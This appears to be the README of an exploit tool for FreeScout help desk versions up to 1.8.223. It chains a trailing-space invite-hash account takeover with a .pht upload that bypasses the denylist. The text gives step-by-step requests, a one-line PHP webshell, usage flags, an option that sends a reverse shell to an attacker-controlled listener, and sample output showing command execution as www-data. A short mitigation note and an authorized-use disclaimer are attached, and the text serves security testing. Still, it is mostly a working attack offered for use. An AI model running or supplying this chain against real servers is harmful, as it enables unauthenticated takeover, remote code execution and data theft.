
Unauthenticated remote code execution in FreeScout ≤ 1.8.223 (a Laravel help desk) by chaining two flaws, both fixed in 1.8.224:
POST /user-setup/{hash}/{invite_sent_at}
picks the account by its invite_hash column only. An activated user has
invite_hash = '', and on MySQL/MariaDB VARCHAR equality ignores trailing
spaces, so hash = %20 matches the admin. The invite_sent_at expiry gate
decrypts the value with the user's password as the key, but the decrypt helper
returns the raw input on failure (empty catch), so a plaintext current unix
timestamp is accepted. The endpoint then overwrites the account's email + password
and logs you in..pht upload. The upload denylist
(php.*|sh|pl|phtml|phar) does not cover .pht, which Apache mod_php
executes as PHP.Chain them and an unauthenticated attacker gets code execution as the web-server
user (www-data).
GET /user-setup/%20/<unix_ts> to grab a session cookie + CSRF token.POST the same URL to overwrite the admin's email/password and log in (ATO).POST /uploads/upload a shell.pht (<?php system($_GET['c']); ?>)../exploit.sh -t <target> [options]
-t, --target URL target base URL (e.g. http://10.10.10.10) [required]
-c, --cmd CMD run a single command (default: id)
--lhost IP reverse shell: attacker IP (start nc first)
--lport PORT reverse shell port (default 4444)
--email ADDR email to set on the seized admin (default [email protected])
--password PASS password to set (default Pwned12345)
-h, --help
$ ./exploit.sh -t http://10.10.10.10
[*] fetching setup form (hash=%20, ts=1784500000) ...
[*] seizing admin -> [email protected] / Pwned12345 ...
[+] admin account taken over (you can also log in at http://10.10.10.10/login)
[*] uploading .pht webshell ...
[+] webshell: http://10.10.10.10/storage/uploads/p2Bj81XDu6DbBJ4Sq5mYW05zY.pht
[+] id -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ./exploit.sh -t http://10.10.10.10 -c 'cat /var/www/local.txt'
...
[+] cat /var/www/local.txt -> f1a7c30e9b6d24851e6d24851f1a7c30
# reverse shell (run `nc -lvnp 4444` first)
$ ./exploit.sh -t http://10.10.10.10 --lhost 10.10.14.7 --lport 4444
[+] admin account taken over ...
[+] webshell: http://10.10.10.10/storage/uploads/....pht
[*] sending reverse shell to 10.10.14.7:4444 ...
[+] payload sent — check your listener.
bash, curl, jq1.0.x – 1.8.223; 1.8.224+ fixes both bugs (302 turns into
a failed takeover)..pht execution depends on the
server running .pht through mod_php — the "standard Apache + libapache2-mod-php"
environment the CVE targets.system() runs
via /bin/sh (dash on Debian/Ubuntu), which doesn't understand the bash-only
>& /dev/tcp/... redirect, and base64 also avoids all quoting pitfalls.! on purpose — ! triggers history expansion in
interactive bash/zsh and mangles pasted commands.VARCHAR equality for security tokens (trailing-space collisions), and
never treat a failed decrypt as a valid value — reject empty/invalid tokens.For authorized security testing and educational purposes only. Do not use it against systems you do not own or have explicit permission to test. The author accepts no liability for misuse.